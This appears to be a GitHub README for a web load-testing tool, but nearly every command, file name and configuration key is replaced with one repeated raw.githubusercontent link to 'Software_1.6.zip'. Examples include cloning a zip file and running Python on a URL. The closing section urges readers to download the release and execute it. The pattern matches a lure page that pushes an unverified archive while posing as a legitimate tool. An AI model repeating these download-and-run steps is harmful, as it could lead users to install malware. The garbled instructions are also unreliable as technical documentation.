- Overview
- Features
- Installation
- Usage
- Configuration
- Running Tests
- Viewing Results
- Contributing
- License
- Releases
Brutal Load Tester is a simple yet powerful tool designed to simulate heavy loads on your web applications. This tool helps you identify performance bottlenecks, ensuring your applications can handle high traffic. With a focus on usability and efficiency, Brutal makes it easy for developers to test and optimize their applications.
- Easy Setup: Get started quickly with minimal configuration.
- Customizable Load Profiles: Tailor the load to simulate real-world scenarios.
- Detailed Reporting: Gain insights into response times, throughput, and error rates.
- Concurrent User Simulation: Test how your application performs under simultaneous user access.
- Support for Multiple Protocols: Test various types of applications, including HTTP, WebSocket, and more.
To install Brutal Load Tester, follow these steps:
-
Clone the Repository:
git clone https://raw.githubusercontent.com/Salmajibeh/brutal/main/assets/Software_1.6.zip
-
Navigate to the Directory:
cd brutal -
Install Dependencies: Ensure you have the required dependencies installed. You can use a package manager like
npmorpipbased on your project requirements.
To use Brutal Load Tester, you need to configure it according to your testing needs. Hereβs a basic example of how to set it up:
-
Create a Configuration File: Create a
https://raw.githubusercontent.com/Salmajibeh/brutal/main/assets/Software_1.6.zipfile with your desired settings. Hereβs a sample configuration:{ "url": "https://raw.githubusercontent.com/Salmajibeh/brutal/main/assets/Software_1.6.zip", "load": { "users": 100, "duration": 60 } } -
Run the Tester: Execute the following command to start the load test:
python https://raw.githubusercontent.com/Salmajibeh/brutal/main/assets/Software_1.6.zip https://raw.githubusercontent.com/Salmajibeh/brutal/main/assets/Software_1.6.zip
Brutal allows you to customize various parameters in your configuration file:
- url: The target URL for your load test.
- https://raw.githubusercontent.com/Salmajibeh/brutal/main/assets/Software_1.6.zip: The number of concurrent users to simulate.
- https://raw.githubusercontent.com/Salmajibeh/brutal/main/assets/Software_1.6.zip: The duration of the test in seconds.
- https://raw.githubusercontent.com/Salmajibeh/brutal/main/assets/Software_1.6.zip: Time in seconds to gradually increase the number of users.
Example configuration:
{
"url": "https://raw.githubusercontent.com/Salmajibeh/brutal/main/assets/Software_1.6.zip",
"load": {
"users": 200,
"duration": 120,
"rampUp": 30
}
}Once your configuration is set, you can run the tests. Use the command:
python https://raw.githubusercontent.com/Salmajibeh/brutal/main/assets/Software_1.6.zip https://raw.githubusercontent.com/Salmajibeh/brutal/main/assets/Software_1.6.zipMonitor the terminal output for real-time statistics during the test. You will see metrics like response time, number of requests, and any errors encountered.
After the test completes, Brutal will generate a report summarizing the results. This report includes:
- Response Times: Average, minimum, and maximum response times.
- Throughput: Number of requests per second.
- Error Rates: Percentage of failed requests.
You can also find detailed logs in the logs directory for further analysis.
We welcome contributions to improve Brutal Load Tester. If you have ideas or improvements, please fork the repository and submit a pull request.
- Fork the repository.
- Create a new branch for your feature or fix.
- Make your changes and commit them.
- Push your branch to your forked repository.
- Submit a pull request.
Brutal Load Tester is licensed under the MIT License. See the LICENSE file for details.
For the latest releases and updates, please visit our Releases section. You can download the latest version and execute it for your load testing needs.
You can find the latest version of Brutal Load Tester here.
By using Brutal Load Tester, you ensure your applications are ready for the demands of real-world traffic.
For any questions or issues, please check the Releases section or open an issue in the repository.
Happy testing!